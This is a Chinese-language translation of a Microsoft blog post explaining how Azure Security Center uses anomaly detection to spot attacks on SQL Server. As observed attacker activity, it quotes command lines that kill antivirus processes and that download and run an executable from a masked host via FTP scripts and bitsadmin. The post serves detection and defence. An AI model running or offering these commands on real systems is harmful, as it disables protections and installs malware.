Azure Security Center 如何自動偵測網路攻擊

撰 /Rob Mead, Senior Software Engineer - Microsoft Threat Intelligence Center

今年早些時候,Greg Cottingham 撰寫了一篇偉大的文章,打破了Azure 安全中心發現的針對SQL Server 的攻擊案例。在這篇文章中,我們將更詳細地介紹安全中心如何分析數據以檢測這些類型的攻擊,以及這些方法的輸出如何用於轉向其他共享某些常用技術的入侵。

隨著攻擊技術的迅速發展,許多組織都在努力跟上步伐。安全人才的稀缺加劇了這種情況,公司不能僅僅依靠人類的檢測手段。通過烘焙算法中人類安全分析師的直覺,Azure 安全中心可以自動適應不斷變化的攻擊模式。

讓我們看看安全中心如何使用這種方法來檢測針對 SQL Server 的攻擊。通過分析MSSQLSERVER 帳戶執行的進程,我們發現它在正常情況下非常穩定 - 它幾乎始終執行一組固定的操作。這個帳戶的穩定性使我們能夠建立一個模型,以檢測在發生攻擊時發生的異常活動。

建立模型

在安全中心可以構建此數據的模型之前,它會執行一些前處理來折疊減少相似目錄的流程執行。 否則,模型會將這些視為不同的過程。它在流程目錄上使用距離函數進行聚類,然後匯整流程名稱共享的流行程度。 下面可以看到這個過程的一個例子:

1

 

這可以簡化為單個摘要狀態:

 

2

它還處理數據以捕獲託管執行程序,例如 regsvr32.exe 和 rundll32.exe,它們本身可能很常見,但可用於運行其他文件。 通過將自己作為執行文件運行的文件視為由此機制運行的任何代碼,都可以獲得洞察。

使用此規範化數據,Azure 安全中心檢測引擎可以繪製訂閱中由 MSSQLSERVER 執行的流程普遍性。 由於帳戶的穩定性,這種簡單的方法會根據進程名的稱和位置生成一個正常行為的健壯模型。 這個模型的可視化可以在下面的圖中看到:

 

acs-3

 

 

發現異常

當像 SQL Server 這樣的攻擊目標被鎖定時,攻擊者的前幾個動作會受到高度限制。他們可以嘗試各種策略,這些策略都會留下流程執行事件的痕跡。 在下面的示例中,我們使用安全中心使用來自訂閱的數據在遇到 SQL Server 攻擊時顯示相同的模型。 這一次,它發現了包含一些有趣數據的低流行率、執行尾部的異常情況:

 

acs-4

 

讓我們更深入地看一下模型確定的一些不尋常的執行情況:

taskkill /im 360rp.exe /f taskkill /im 360sd.exe /f taskkill /im 360rps.exe /f ntsd -c q -pn 360rp.exe ntsd -c q -pn 360sd.exe ntsd -c q -pn 360rps.exe

在第一階段,我們看到多次嘗試禁用在主機上運行的防病毒引擎。 第一個使用內置的工具 taskkill 來結束進程。 第二個使用調試器'ntsd'附加到它希望用-pn參數破壞的進程,並在成功附加到目標後執行指令 'q'。 'q' 指令使調試器終止目標應用程序。

在禁用防病毒引擎的情況下,攻擊者可以免費下載並從互聯網上運行其第一階段。 它以幾種不同的方式做到這一點:

第一個是通過 FTP 協議。 我們看到攻擊者使用echo 指令將一系列 FTP 指令寫入文件中:

echo open xxx.xxx.xxx.xxx>So.2 echo 111>>So.2 echo 000>>So.2 echo get Svn.exe >>So.2 echo bye

這些指令被執行:

ftp -s:So.2

該文件被刪除,並運行可執行文件:

del So.2 Svn.exe

如果這種下載可執行文件的方法失敗,則此次攻擊將回到從本次通過 HTTP 從相同地址獲取文件的第二種機制:

bitsadmin /transfer n https://xxx.xxx.xxx.xxx:xxxx/Svn.exe c:\ Users \ Public \ Svn.exe"

在這裡,我們看到攻擊者使用 bitsadmin 工具從互聯網上下載可執行文件。

使用機器學習,Azure 安全中心會針對這種異常活動發出警報 - 所有這些都不需要專業知識或人為乾預。 以下是 Azure 安全中心內部的這些警報之一:

acs-5

發掘輸出

儘管這種方法僅限於在特定情況下檢測攻擊,但它也充當檢測工廠,自動發現攻擊者使用的新技術。

讓我們再看看 bitsadmin 的例子:

bitsadmin  /transfer n https://xxx.xxx.xxx.xxx:xxxx/xxx.exec:\Users\Public\xxx.exe"

仔細觀察,這看起來像是攻擊者可以使用操作系統的內置功能執行遠程文件的一般技術,但它是通過演算法而不是安全專家向我們展示的。

雖然 bitsadmin 的合法使用很常見,但它可執行文件的遠程位置、作業名稱和目標目錄都是可疑的。 這也為新的檢測提供了基礎,特別針對不常見的 bitsadmin 執行,而不管它們是否由 MSSQLSERVER 帳戶運行。

因此,通過這種方法生成的 bitsadmin 和其他警報可作為獨立檢測機會進行開發。 並且,它們還會提醒客戶其訂閱上發生的其他攻擊,其中一些常見技術由另一個攻擊媒介共享。

 

總結

通過使用 Azure 安全中心,使用 SQL Server 部署的客戶將自動受益於這種檢測方法。 因為它能基於異常、自適應地產生策略,在沒有人類專家參與的情況下提醒新的攻擊。 這種新技術產生的檢測機會將反饋到所有安全中心客戶上。

有關本文中提及的攻擊類型以及如何減輕攻擊類型的更多信息,請參閱博客,“Azure 安全中心如何幫助揭示 Cyberattack”。

要了解有關 Azure 安全中心中的檢測的更多信息,請參閱以下內容: